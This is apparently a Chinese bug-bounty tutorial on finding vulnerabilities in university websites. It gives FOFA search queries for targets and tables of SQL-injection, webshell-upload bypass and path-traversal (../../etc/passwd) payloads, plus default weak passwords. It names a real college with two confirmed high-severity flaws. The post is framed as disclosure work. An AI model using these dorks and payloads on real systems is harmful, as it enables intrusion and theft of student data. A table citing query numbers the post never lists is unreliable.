作者按:本文总结了我在 EDU SRC 漏洞挖掘实战中总结的一套方法论,包含 10 条 FOFA 精准搜索语法,覆盖报名系统、后台管理、SQL 注入、文件上传、敏感信息泄露等 8 大攻击面。配合黄冈师范学院实战案例,形成从「目标发现 → 漏洞验证 → 报告提交」的完整武器库。
📖 目录(原创)
0. 战绩速览:黄冈师范学院双杀
| 漏洞1 | Time-based SQL 盲注(xing_ming 字段,SLEEP(5) 验证) |
| 漏洞2 | 任意文件上传(3 个图片字段全中,GIF 文件头绕过 getShell) |
| 发现时间 | 2026-07-06 至 07-07 |
| 漏洞等级 | 高危 × 2 |
核心启示:报名/注册表单是 EDU 系统的「金矿」——拼音字段 + 无验证码 + 多文件上传点 + 老旧技术栈,几乎每次必出洞。
1. 方法论:EDU SRC 挖洞 4 条铁律
铁律 1:报名系统 = 金矿
- 拼音字段:
xing_ming、shenfenzheng、zhuanye这类变量名意味着开发者把参数直接拼进 SQL,连参数化查询的意识都没有 - 无验证码:报名系统面向大量考生,验证码影响效率,很多直接就砍掉了 → 重放攻击无阻力
- 多文件上传点:一寸照、身份证正反面、学历证书……每个字段都是潜在上传入口,一个都不能放过
铁律 2:排除 985/211,专打普通本科 + 专科
- 理由:985/211 有专门的安全团队或外包安服,系统更新频繁,中危以上漏洞少
- 反例:专科/职高/独立学院,系统外包后无人维护,一堆 N 年老洞
- 经济账:同样时间投入,普通本科出洞率是 985 的 3-5 倍
铁律 3:一个请求能复现 > 复杂条件链
- SRC 审核看的是「可复现性」和「危害」
- SQL 注入一个
SLEEP就够,文件上传一个 GIF getshell 就够 - 不用刻意追求 RCE 链,直球最有效
铁律 4:报告先行,不等截图
- 漏洞复现后立刻生成 docx 结构化报告
- 附 Python 自动化验证脚本
- 截图能补就补,不能补先交报告占坑(防止站点突然下线 / 别人抢交)
2. FOFA 语法库(10 条,按优先级分级)
使用提示:
- 每条语法独立在 FOFA 网页端搜索,导出 CSV
- 结果量 > 500 时,末尾加
&& after="2025-01-01"限定活跃站点- 免费账号每天有限额,建议分天执行,先搜 P0 和 P1
🔴 P0 级:金矿优先级(必搜,出洞率最高)
语法 1:报名系统 + 文件上传
host=".edu.cn" && title="报名" && body="上传"
攻击向量:文件上传 → GIF 头绕过 → getshell
命中特征:自考报名、成教报名、竞赛报名、夏令营报名
出洞率:⭐⭐⭐⭐⭐

语法 2:注册系统 + 上传
host=".edu.cn" && title="注册" && body="上传" && body="form"
攻击向量:同语法 1,注册表单更常见,覆盖面更广
命中特征:会议注册、活动注册、实验室预约

语法 3:报名系统全量(不限上传)
host=".edu.cn" && (title="在线报名" || title="网上报名" || title="考试报名" || title="招生报名") && body="form"
攻击向量:SQLi(姓名/身份证号字段)、XSS、逻辑漏洞
命中特征:几乎所有高校都有,量大管饱

语法 4:身份证号查询入口
host=".edu.cn" && body="身份证" && (body="查询" || body="搜索") && body="submit"
攻击向量:SQL 注入(时间盲注优先),身份证 18 位等于 18 个注入点
备注:成绩查询、录取查询、证书查询都走这个模式
语法 5:老 ASP + 动态参数
host=".edu.cn" && body=".asp?id=" && after="2024-01-01"
攻击向量:SQL 注入(ASP + Access = 联合查询天堂)
备注:edu 站点 ASP 比例远超互联网平均,且几乎没做过安全加固
🟠 P1 级:高优先级(很可能出洞)
语法 6:后台管理入口
host=".edu.cn" && (title="管理后台" || title="后台管理" || title="管理员登录") && body="password"
攻击向量:弱口令、未授权访问、SQLi
命中特征:OA 系统、CMS 后台、实验室管理系统

语法 7:通用后台(不限 title)
host=".edu.cn" && body="用户名" && body="密码" && body="验证码" && (body=".asp" || body=".php" || body=".jsp")
攻击向量:弱口令爆破(admin/admin123)、验证码绕过
备注:比语法 6 覆盖面大 3 倍,但需要人工筛选
语法 8:文件上传端点
host=".edu.cn" && body="multipart/form-data" && (body="upload" || body="上传文件" || body="选择文件")
攻击向量:任意文件上传(测 .gif.php / .PhP / .phtml / .pHp5)
备注:不要只测一个字段,表单里所有 file input 全测

语法 9:搜索功能 + 动态参数
host=".edu.cn" && (body="?keyword=" || body="?search=" || body="?key=") && body="submit"
攻击向量:SQLi、反射型 XSS
命中特征:通知公告搜索、图书馆检索、论文查询
语法 10:文件下载/查看端点
host=".edu.cn" && (body="?file=" || body="?path=" || body="download?" || body="?filename=") && body=".pdf"
攻击向量:任意文件读取(../../etc/passwd)、路径穿越
危害:配置文件、数据库连接串、源码泄露
3. 攻击面-漏洞类型映射表
| 攻击面 | 对应语法 | 首选漏洞类型 | 备用漏洞类型 |
|---|---|---|---|
| 报名/注册系统 | #1, #2, #3 | 文件上传 getshell | SQLi、逻辑漏洞 |
| 信息查询系统 | #4, #9 | SQL 盲注 | 反射型 XSS |
| 后台管理系统 | #6, #7 | 弱口令 | 未授权访问、SQLi |
| 文件上传功能 | #1, #8 | 任意文件上传 | 文件大小 DoS |
| 文件下载功能 | #10 | 任意文件读取 | 路径穿越 |
| 配置文件/源码 | #11, #12, #15 | 信息泄露 | 凭据窃取 |
| API 接口 | #13, #23, #24 | 未授权访问 | CORS 漏洞 |
| 框架/中间件 | #19, #20, #21, #22 | 已知 RCE | 弱口令 |
| 短信接口 | #25 | 短信轰炸 | 逻辑绕过 |
4. 实战流程 SOP
┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ FOFA │ → │ 批量 │ → │ 漏洞 │ → │ 报告 │ → │ 提交 │
│ 搜索 │ │ 筛选 │ │ 验证 │ │ 生成 │ │ SRC │
└──────────┘ └──────────┘ └──────────┘ └──────────┘ └──────────┘
Step 1:FOFA 搜索(约 10 min)
- 按 P0 → P1 → P2 → P3 顺序执行 10 条语法
- 每条搜完导出 CSV(至少保留 host、title、server、ip 四列)
Step 2:批量筛选(约 15 min)
- 合并 CSV,去重
- 人工剔除:985/211、纯静态站(无 form/input/button)、明显测试站(test/demo/dev)
- 优先级排序:报名系统 > 后台 > 查询 > 其他
Step 3:漏洞验证(每条目标 10-30 min)
- SQLi 优先:
' AND SLEEP(5)--测所有输入字段 - 上传优先:GIF89a 头 + 双扩展名,所有 file input 全测
- 弱口令:admin/admin123、test/123456、系统默认密码
- 未授权:直接访问后台 URL,不登录看能不能进
Step 4:报告生成
- docx 结构化报告(基本信息 → 漏洞描述 → 复现步骤 → 危害 → 修复建议)
- 附带 Python 自动化验证脚本
- 每个复现步骤标记【截图点】+ 操作说明
Step 5:提交
- 补天 / 教育漏洞平台 / 漏洞盒子 → 看哪个平台收
- 同一天内的漏洞可以合并提交(同一系统)
- 报告 + 脚本优先提交,不等截图
技术深度:展示硬实力
"在漏洞验证环节,我针对不同场景准备了不同武器:
- SQL 注入优先采用时间盲注
SLEEP(N),因为教育网络延迟大,布尔盲注容易被误判- 文件上传使用 GIF89a 魔术头 + 双扩展名(
.gif.php)+ 大小写绕过(.PhP/.phtml)三重组合- 我建立了 10 条 FOFA 精准搜索语法,按 P0-P3 优先级分层,覆盖 8 大攻击面
我还把整个过程写成了完整的漏洞复现报告,包含 Python 自动化验证脚本,确保审核人员可以一键复现。"
附录:常用绕过技术速查
文件上传绕过
| 绕过方式 | Payload |
|---|---|
| 双扩展名 | shell.gif.php |
| 大小写混合 | shell.PhP、shell.pHp5 |
| 空格绕过 | shell.php (末尾空格) |
| 点号绕过 | shell.php.(末尾点号) |
| Windows 流 | shell.php::$DATA |
| .htaccess | 上传 .htaccess 让 Apache 解析 .gif 为 PHP |
| 双写 | shell.pphphp(被过滤一次后还剩 .php) |
SQL 注入绕过
| 绕过方式 | Payload |
|---|---|
| 空格过滤 | /**/ 或 %0a 代替空格 |
| 注释符过滤 | AND '1'='1 不用注释符,直接闭合 |
| 等号过滤 | AND 1 LIKE 1 代替 AND 1=1 |
| UNION 过滤 | 双写 UNIUNIONON |
| SLEEP 过滤 | BENCHMARK(5000000,MD5('a')) 代替 |
| 时间盲注网络延迟大 | SLEEP 设 5-10 秒,不用默认的 1-2 秒 |

379

被折叠的 条评论
为什么被折叠?



